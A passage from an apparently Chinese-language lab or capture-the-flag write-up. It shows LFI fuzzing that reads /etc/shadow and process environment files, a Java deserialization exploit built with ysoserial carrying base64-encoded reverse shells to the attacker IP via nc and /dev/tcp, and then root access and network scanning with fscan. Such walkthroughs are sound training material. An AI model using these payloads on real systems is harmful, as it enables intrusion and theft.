cookie\uff0c\u5c1d\u8bd5\u5e26\u7740cookie\u8fdb\u884cfuzz\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ ffuf -u http:\/\/$IP:8080\/download?file=FUZZ -w \/usr\/share\/seclists\/Fuzzing\/LFI\/LFI-gracefulsecurity-linux.txt -H &quot;Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=&quot;\n\n        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\\n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/\n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\\n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/\n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\\n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/\n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/192.168.64.4:8080\/download?file=FUZZ\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Fuzzing\/LFI\/LFI-gracefulsecurity-linux.txt\n :: Header           : Cookie: auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\n\/proc\/version           [Status: 200, Size: 167, Words: 18, Lines: 2, Duration: 70ms]\n\/proc\/cpuinfo           [Status: 200, Size: 951, Words: 120, Lines: 28, Duration: 122ms]\n\/etc\/passwd             [Status: 200, Size: 1224, Words: 3, Lines: 29, Duration: 529ms]\n\/etc\/issue              [Status: 200, Size: 53, Words: 10, Lines: 4, Duration: 514ms]\n\/proc\/mounts            [Status: 200, Size: 1918, Words: 116, Lines: 24, Duration: 126ms]\n\/proc\/ioports           [Status: 200, Size: 1008, Words: 200, Lines: 41, Duration: 135ms]\n\/etc\/mtab               [Status: 200, Size: 1918, Words: 116, Lines: 24, Duration: 344ms]\n\/etc\/resolv.conf        [Status: 200, Size: 24, Words: 2, Lines: 2, Duration: 251ms]\n\/proc\/filesystems       [Status: 200, Size: 275, Words: 1, Lines: 23, Duration: 122ms]\n\/etc\/profile            [Status: 200, Size: 259, Words: 51, Lines: 12, Duration: 310ms]\n\/etc\/motd               [Status: 200, Size: 283, Words: 34, Lines: 11, Duration: 395ms]\n\/etc\/fstab              [Status: 200, Size: 89, Words: 5, Lines: 3, Duration: 587ms]\n\/etc\/shadow             [Status: 200, Size: 441, Words: 1, Lines: 29, Duration: 627ms]\n\/etc\/inittab            [Status: 200, Size: 570, Words: 47, Lines: 24, Duration: 623ms]\n\/proc\/modules           [Status: 200, Size: 5939, Words: 531, Lines: 107, Duration: 194ms]\n\/proc\/self\/net\/arp      [Status: 200, Size: 156, Words: 78, Lines: 3, Duration: 225ms]\n\/proc\/meminfo           [Status: 200, Size: 1475, Words: 529, Lines: 54, Duration: 278ms]\n\/proc\/interrupts        [Status: 200, Size: 1885, Words: 647, Lines: 39, Duration: 311ms]\n\/proc\/swaps             [Status: 200, Size: 104, Words: 32, Lines: 3, Duration: 327ms]\n\/proc\/stat              [Status: 200, Size: 785, Words: 295, Lines: 10, Duration: 355ms]\n\/etc\/hosts              [Status: 200, Size: 174, Words: 3, Lines: 8, Duration: 825ms]\n\/var\/spool\/cron\/crontabs\/root [Status: 200, Size: 283, Words: 10, Lines: 9, Duration: 141ms]\n\/etc\/ca-certificates.conf [Status: 200, Size: 6285, Words: 14, Lines: 153, Duration: 62ms]\n\/etc\/hostname           [Status: 200, Size: 13, Words: 1, Lines: 2, Duration: 30ms]\n\/etc\/group              [Status: 200, Size: 697, Words: 1, Lines: 49, Duration: 67ms]\n\/etc\/modules            [Status: 200, Size: 15, Words: 1, Lines: 3, Duration: 73ms]\n\/etc\/os-release         [Status: 200, Size: 162, Words: 4, Lines: 7, Duration: 73ms]\n\/etc\/sysctl.conf        [Status: 200, Size: 53, Words: 8, Lines: 2, Duration: 99ms]\n\/proc\/devices           [Status: 200, Size: 515, Words: 90, Lines: 56, Duration: 23ms]\n\/proc\/self\/stat         [Status: 200, Size: 311, Words: 52, Lines: 2, Duration: 69ms]\n\/proc\/net\/udp           [Status: 200, Size: 128, Words: 36, Lines: 2, Duration: 129ms]\n\/proc\/self\/mounts       [Status: 200, Size: 1918, Words: 116, Lines: 24, Duration: 69ms]\n\/proc\/self\/fd\/0         [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 179ms]\n\/proc\/self\/status       [Status: 200, Size: 1142, Words: 99, Lines: 60, Duration: 106ms]\n\/proc\/net\/tcp           [Status: 200, Size: 6600, Words: 2167, Lines: 45, Duration: 300ms]\n\/proc\/self\/environ      [Status: 200, Size: 433, Words: 1, Lines: 1, Duration: 350ms]\n\/proc\/self\/cmdline      [Status: 200, Size: 40, Words: 1, Lines: 1, Duration: 448ms]\n\/proc\/self\/fd\/6         [Status: 200, Size: 375889, Words: 1062, Lines: 1404, Duration: 174ms]\n\/proc\/self\/fd\/13        [Status: 500, Size: 180, Words: 10, Lines: 1, Duration: 996ms]\n\/proc\/self\/fd\/14        [Status: 500, Size: 180, Words: 10, Lines: 1, Duration: 1008ms]<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5199\u4e00\u4e2a\u811a\u672c\u8fdb\u884c\u63d0\u53d6\u76f8\u5173\u7cfb\u7edf\u6d88\u606f\uff0c\u76f4\u63a5 AI \u5927\u6cd5\uff0c\u53ef\u4ee5\u81ea\u5df1\u5199\u4f46\u6ca1\u5fc5\u8981\uff08\u72d7\u5934\u4fdd\u547d.jpg)\uff0c\u4f46\u662f\u8fd0\u884c\u4ee5\u540e\u597d\u770b\u662f\u597d\u770b\u4e86\uff0c\u4f46\u662f\u6709\u5947\u5947\u602a\u602a\u7684\u9519\u8bef\uff0c\u54b1\u4eec\u7b80\u5355\u5904\u7406\u4e00\u4e0b\u5427\uff1a<\/p>\n<pre><code class=\"language-bash\"># ffuf -u http:\/\/$IP:8080\/download?file=FUZZ -w \/usr\/share\/seclists\/Fuzzing\/LFI\/LFI-gracefulsecurity-linux.txt -H &quot;Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=&quot; &gt; temp\n# awk &#039;{ print $1 }&#039; temp &gt; temp1\n# mkdir result; cd $_\n# while read -r path; do touch $(basename &quot;$path&quot;); done &lt; ..\/temp1\n# cd ..\nwhile read -r path; do curl -s &quot;http:\/\/192.168.64.4:8080\/download?file=$path&quot; -H &#039;Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=&#039; &gt; basename $path; done &lt; ..\/temp1<\/code><\/pre>\n<p>\u53d1\u73b0\u603b\u662f\u5931\u8d25\uff0c\u770b\u4e86\u4e00\u4e0b\uff0c\u53d1\u73b0\u88ab\u524d\u9762\u6709\u8f6c\u4e49\u5b57\u7b26\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian\/result$ cat -A ..\/temp1\n^M^[[2K\/etc\/passwd$\n^M^[[2K\/etc\/shadow$\n^M^[[2K\/etc\/hosts$\n^M^[[2K\/etc\/motd$\n^M^[[2K\/etc\/mtab$\n^M^[[2K\/etc\/issue$\n^M^[[2K\/etc\/resolv.conf$\n^M^[[2K\/etc\/fstab$\n^M^[[2K\/etc\/profile$\n^M^[[2K\/etc\/inittab$\n^M^[[2K\/proc\/filesystems$\n^M^[[2K\/proc\/modules$\n-------------<\/code><\/pre>\n<p>\u590d\u5236\u7c98\u8d34\u5230\u53e6\u4e00\u4e2a\u6587\u4ef6\u5185\uff0c\u91cd\u65b0\u6267\u884c\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian\/result$ ls -la temp1\n-rw-rw-r-- 1 pwn pwn 752 Jan 17 06:25 temp1\npwn@ubuntu:~\/temp\/yulian\/result$ cat -A temp1\n\/etc\/passwd$\n\/etc\/shadow$\n\/etc\/hosts$\n\/etc\/motd$\n\/etc\/mtab$\n\/etc\/issue$\n\/etc\/resolv.conf$\n\/etc\/fstab$\n\/etc\/profile$\n\/etc\/inittab$\n\/proc\/filesystems$<\/code><\/pre>\n<p>\u5148\u5220\u9664\u4e00\u4e9b\u6ca1\u5fc5\u8981\u67e5\u770b\u7684\u6587\u4ef6\uff0c\u6bd4\u5982<code>\/proc\/self\/fd<\/code>\uff0c\u6267\u884c\u811a\u672c\uff0c\u53d1\u73b0\u5f97\u5230\u4e86\u76ee\u6807\u5185\u5bb9\uff01\uff01\uff01\uff01<\/p>\n<pre><code>while read -r path; do curl -s &quot;http:\/\/192.168.64.4:8080\/download?file=$path&quot; -H &#039;Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=&#039; &gt; $(basename $path); done &lt; ..\/temp1<\/code><\/pre>\n<p>ai\u5199\u7684\u811a\u672c\u4e5f\u53ef\u4ee5\u8fd0\u884c\uff1a<\/p>\n<pre><code class=\"language-bash\">#!\/bin\/bash\n\n# \u914d\u7f6e\u53c2\u6570\uff08\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u4fee\u6539\uff09\nIP=&quot;192.168.64.4&quot;\nPORT=&quot;8080&quot;\nCOOKIE=&quot;auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=&quot;\n\n# \u68c0\u67e5\u5fc5\u8981\u5de5\u5177\nif ! command -v curl &amp;&gt; \/dev\/null; then\n    echo &quot;\u9519\u8bef: \u9700\u8981\u5b89\u88c5 curl \u5de5\u5177&quot;\n    exit 1\nfi\n\n# \u8bfb\u53d6\u6587\u4ef6\u8def\u5f84\u5217\u8868\uff08\u786e\u4fdd temp1 \u6587\u4ef6\u5b58\u5728\uff09\nif [ ! -f temp1 ]; then\n    echo &quot;\u9519\u8bef: \u6587\u4ef6 temp1 \u4e0d\u5b58\u5728\uff0c\u8bf7\u5148\u63d0\u53d6\u6587\u4ef6\u8def\u5f84&quot;\n    exit 1\nfi\n\n# \u5f00\u59cb\u5904\u7406\necho -e &quot;\\n\\033[1;34m===== \u5f00\u59cb\u63d0\u53d6\u6587\u4ef6\u5185\u5bb9\uff08\u7f8e\u5316\u8f93\u51fa\uff09 =====\\033[0m\\n&quot;\n\nwhile IFS= read -r file_path; do\n    # \u8df3\u8fc7\u7a7a\u884c\n    [ -z &quot;$file_path&quot; ] &amp;&amp; continue\n\n    # \u6784\u9020\u5b89\u5168\u7684 URL (\u81ea\u52a8\u5904\u7406\u7279\u6b8a\u5b57\u7b26)\n    url=&quot;http:\/\/$IP:$PORT\/download&quot;\n    echo -e &quot;\\033[1;32m[+] \u6b63\u5728\u83b7\u53d6: \\033[0m$file_path&quot;\n\n    # \u4f7f\u7528 curl \u83b7\u53d6\u5185\u5bb9 (\u81ea\u52a8 URL \u7f16\u7801)\n    response=$(curl -s -G -H &quot;Cookie: $COOKIE&quot; --data-urlencode &quot;file=$file_path&quot; &quot;$url&quot;)\n    exit_code=$?\n\n    # \u68c0\u67e5\u8bf7\u6c42\u72b6\u6001\n    if [ $exit_code -ne 0 ]; then\n        echo -e &quot;\\033[1;31m[!] \u8bf7\u6c42\u5931\u8d25 (\u72b6\u6001: $exit_code)\\033[0m&quot;\n        echo -e &quot;========================================\\n&quot;\n        continue\n    fi\n\n    # \u68c0\u67e5\u5185\u5bb9\u5927\u5c0f (\u907f\u514d\u8fc7\u5927\u6587\u4ef6)\n    size=$(echo -n &quot;$response&quot; | wc -c)\n    echo -e &quot;\\033[1;36m[+] \u6587\u4ef6\u5927\u5c0f: $size \u5b57\u8282\\033[0m&quot;\n\n    # \u7f8e\u5316\u8f93\u51fa (\u6dfb\u52a0\u5206\u9694\u7ebf\u548c\u6587\u4ef6\u540d)\n    echo -e &quot;\\n\\033[1;33m===== \u6587\u4ef6\u5185\u5bb9: $file_path =====\\033[0m&quot;\n    echo -e &quot;$response&quot;\n    echo -e &quot;\\033[1;33m========================================\\033[0m\\n&quot;\n\ndone &lt; temp1\n\necho -e &quot;\\n\\033[1;34m===== \u6240\u6709\u6587\u4ef6\u63d0\u53d6\u5b8c\u6210! =====\\033[0m&quot;<\/code><\/pre>\n<p>\u786e\u5b9e\u7f8e\u4e00\u70b9\u8bf6\uff0c\u563f\u563f\uff0c\u67e5\u770b\u6587\u4ef6\u5185\u5bb9\uff0c\u53d1\u73b0\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ cat temp_result | grep -A 3 \/proc\/self\/cmdline\n[+] \u6b63\u5728\u83b7\u53d6: \/proc\/self\/cmdline\n[+] \u6587\u4ef6\u5927\u5c0f: 37 \u5b57\u8282\n\n===== \u6587\u4ef6\u5185\u5bb9: \/proc\/self\/cmdline =====\njava-jarjavaserver-0.0.1-SNAPSHOT.jar\n========================================<\/code><\/pre>\n<p>\u662f\u4e00\u4e2a java \u670d\u52a1\u5668\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730201.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730201.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260117145342310\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730202.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730202.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260117145422779\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u80fd\u5927\u6982\u662f\u4e00\u6837\u7684\u5427\uff1f\u5c1d\u8bd5\u4e0b\u8f7d\u8fd9\u4e2a\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ cat temp_result | grep java\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/usr\/lib\/jvm\/java-1.8-openjdk\/jre\/bin:\/usr\/lib\/jvm\/java-1.8-openjdk\/binHOSTNAME=3debe9b825c8LANG=C.UTF-8JAVA_HOME=\/usr\/lib\/jvm\/java-1.8-openjdkJAVA_VERSION=8u212JAVA_ALPINE_VERSION=8.212.04-r0HOME=\/rootLD_LIBRARY_PATH=\/usr\/lib\/jvm\/java-1.8-openjdk\/jre\/lib\/amd64\/server:\/usr\/lib\/jvm\/java-1.8-openjdk\/jre\/lib\/amd64:\/usr\/lib\/jvm\/java-1.8-openjdk\/jre\/..\/lib\/amd64\nName:   java\njava-jarjavaserver-0.0.1-SNAPSHOT.jar\n1 (java) S 0 1 1 0 -1 4194560 385249 0 75 0 125278 97271 0 0 20 0 47 0 4064 2063429632 45923 18446744073709551615 93865608224768 93865608225298 140729829223344 0 0 0 0 0 16800975 0 0 0 17 0 0 0 0 0 0 93865608236416 93865608237064 93866196692992 140729829223924 140729829223964 140729829223964 140729829224397 0\npwn@ubuntu:~\/temp\/yulian$ curl -s &quot;http:\/\/192.168.64.4:8080\/download?file=javaserver-0.0.1-SNAPSHOT.jar&quot; -H &#039;Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=&#039; &gt; javaserver.jar\npwn@ubuntu:~\/temp\/yulian$ file javaserver.jar\njavaserver.jar: Java archive data (JAR)\npwn@ubuntu:~\/temp\/yulian$ ls -la\ntotal 17060\ndrwxrwxr-x 3 pwn pwn     4096 Jan 17 08:26 .\ndrwxrwxr-x 3 pwn pwn     4096 Jan 10 07:54 ..\n-rwxrwxr-x 1 pwn pwn     1630 Jan 17 06:37 ai.sh\n-rwxrwxr-x 1 pwn pwn    16032 Jan 10 08:22 a.out\n-rw-rw-r-- 1 pwn pwn 17372377 Jan 17 08:26 javaserver.jar\n-rw-rw-r-- 1 pwn pwn      278 Jan 10 08:21 knock.c\ndrwxrwxr-x 2 pwn pwn     4096 Jan 17 06:39 result\n-rw-rw-r-- 1 pwn pwn     4738 Jan 17 05:30 temp\n-rw-rw-r-- 1 pwn pwn      555 Jan 17 06:41 temp1\n-rw-rw-r-- 1 pwn pwn    43331 Jan 17 06:45 temp_result<\/code><\/pre>\n<p>\u53d1\u73b0\u4e0b\u8f7d\u4e0b\u6765\u4e86\uff0c\u53f3\u952e\u6dfb\u52a0\u4e3a\u5e93\uff0c\u770b\u4e00\u4e0b\u5565\u60c5\u51b5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730203.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730203.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260117163405013\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u63a5\u4e0b\u6765\u6211\u5c31\u65e0\u80fd\u4e3a\u529b\u4e86\uff0c\u6211\u770b\u4f3c\u4e4e\u9700\u8981\u8fdb\u884c\u4ee3\u7801\u5ba1\u8ba1\uff0c\u56e0\u4e3a\u6709\u4e00\u4e2a\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002\u3002\u3002\u3002\u3002<\/p>\n<blockquote>\n<p><a href=\"https:\/\/book.hacktricks.wiki\/zh\/pentesting-web\/deserialization\/index.html?highlight=java#java---http\">https:\/\/book.hacktricks.wiki\/zh\/pentesting-web\/deserialization\/index.html?highlight=java#java---http<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/GrrrDog\/Java-Deserialization-Cheat-Sheet#genson-json\">https:\/\/github.com\/GrrrDog\/Java-Deserialization-Cheat-Sheet#genson-json<\/a><\/p>\n<\/blockquote>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730204.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730204.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260117170018843\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6ce8\u610f\u5230<code>commons-collections<\/code>\u662f\u4e00\u4e2a\u5e38\u88ab\u5229\u7528\u7684\u5e93\uff0c\u7136\u540e\u770b\u5e08\u5085\u4eec\u7684blog\u53d1\u73b0\u4f7f\u7528\u7684\u662fcc5\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>ysoserial<\/code>\u8fdb\u884c\u5229\u7528\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730205.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730205.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260118131542656\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\"># sudo apt install openjdk-8-jdk\n# echo &#039;nc -e \/bin\/bash 192.168.64.3&#039; | base64\n# bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNjQuMwo=\npwn@ubuntu:~\/temp\/yulian$ java -jar ..\/..\/tools\/ysoserial-all.jar CommonsCollections5 &quot;bash -c {echo,bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNjQuMwo=}|{base64,-d}|{bash,-i}&quot; &gt; payload.bin\ncurl -s &quot;http:\/\/192.168.64.4:8080\/deserialize&quot; -H &#039;Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=&#039; -X POST --data-binary @payload.bin<\/code><\/pre>\n<p>\u4f46\u662f\u4f3c\u4e4e\u65e0\u6548\uff0c\u5c1d\u8bd5\u4f7f\u7528\u522b\u7684\u529e\u6cd5\u8fdb\u884c\u6d4b\u8bd5\uff1a<\/p>\n<pre><code class=\"language-bash\"># echo &#039;\/bin\/bash -i &gt;&amp; \/dev\/tcp\/192.168.64.3\/1234 0&gt;&amp;1&#039; | base64\n# L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjQuMy8xMjM0IDA+JjEK\njava -jar ..\/..\/tools\/ysoserial-all.jar CommonsCollections5 &quot;bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjQuMy8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}&quot; &gt; payload.bin\ncurl -s &quot;http:\/\/192.168.64.4:8080\/deserialize&quot; -H &#039;Cookie:auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=&#039; -H &quot;Content-Type: application\/octet-stream&quot; -X POST --data-binary @payload.bin <\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730206.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730206.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260118132024555\" \/><\/div><\/p>\n<p>\u8fd9\u91cc\u56de\u4f20\u7528\u5230\u7684\u662f\u4e00\u4e2a\u53eb<a href=\"https:\/\/github.com\/brightio\/penelope\">penelope<\/a>\u7684\u5f00\u6e90\u9879\u76ee\uff0c\u662f\u5728<code>Pepster<\/code>\u5e08\u5085\u7684blog\u770b\u5230\u7684\uff0c\u6b63\u597d\u7528\u6765\u66ff\u4ee3\u4e0d\u518d\u7ef4\u62a4\u7684<code>pwncat-cs<\/code>\uff01<\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">bash-4.4# whoami;id;echo $SHELL\nwhoami;id;echo $SHELL\nroot\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n\/bin\/ash<\/code><\/pre>\n<p>\u7a33\u5b9ashell\u3002\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">python3 -c &#039;import pty;pty.spawn(&quot;\/bin\/bash&quot;)&#039;\nexport TERM=xterm\nCtrl + Z\nstty raw -echo; fg\n# stty size\nstty rows 38 columns 116<\/code><\/pre>\n<p>\u4f46\u662f\u53d1\u73b0\u6ca1\u6709python\u73af\u5883\u8bf6\uff0c\u53ef\u80fd\u662f\u4e00\u4e2a\u5bb9\u5668\uff0c\u770b\u4e00\u4e0b\u5176\u4ed6\u4fe1\u606f\uff0c\u4e0a\u4f20fscan\u8fdb\u884c\u4fe1\u606f\u6536\u96c6\uff1a<\/p>\n<pre><code class=\"language-bash\"># terminal1\npwn@ubuntu:~\/temp$ python3 -m http.server 8888\nServing HTTP on 0.0.0.0 port 8888 (http:\/\/0.0.0.0:8888\/) ...\n192.168.64.4 - - [18\/Jan\/2026 05:29:54] &quot;GET \/fscan HTTP\/1.1&quot; 200 -\n# terminal2\nbash-4.4# ip a\nip a\n1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN qlen 1000\n    link\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n    inet 127.0.0.1\/8 scope host lo\n       valid_lft forever preferred_lft forever\n6: eth0@if7: &lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN&gt; mtu 1500 qdisc noqueue state UP\n    link\/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff\n    inet 172.17.0.3\/16 brd 172.17.255.255 scope global eth0\n       valid_lft forever preferred_lft forever\nbash-4.4# pwd\npwd\n\/tmp\nbash-4.4# wget http:\/\/192.168.64.3:8888\/fscan\nwget http:\/\/192.168.64.3:8888\/fscan\nConnecting to 192.168.64.3:8888 (192.168.64.3:8888)\nfscan                100% |********************************| 6933k  0:00:00 ETA\n\nbash-4.4# chmod +x fscan\nchmod +x fscan\nbash-4.4# .\/fscan -h 172.17.0.3\/16\n.\/fscan -h 172.17.0.3\/16\n\n   ___                              _\n  \/ _ \\     ___  ___ _ __ __ _  ___| | __\n \/ \/_\\\/____\/ __|\/ __| &#039;__\/ _` |\/ __| |\/ \/\n\/ \/_\\\\_____\\__ \\ (__| | | (_| | (__|   &lt;\n\\____\/     |___\/\\___|_|  \\__,_|\\___|_|\\_\\\n                     fscan version: 1.8.4\nstart infoscan\n(icmp) Target 172.17.0.1      is alive\n(icmp) Target 172.17.0.2      is alive\n(icmp) Target 172.17.0.3      is alive\n[*] LiveTop 172.17.0.0\/16    \u6bb5\u5b58\u6d3b\u6570\u91cf\u4e3a: 3\n[*] LiveTop 172.17.0.0\/24    \u6bb5\u5b58\u6d3b\u6570\u91cf\u4e3a: 3\n[*] Icmp alive hosts len is: 3\n172.17.0.2:22 open\n172.17.0.1:22 open\n172.17.0.2:80 open\n172.17.0.1:80 open\n172.17.0.1:8080 open\n172.17.0.3:8080 open\n[*] alive ports len is: 6\nstart vulscan\n[*] WebTitle http:\/\/172.17.0.1         code:200 len:6047   title:Linux 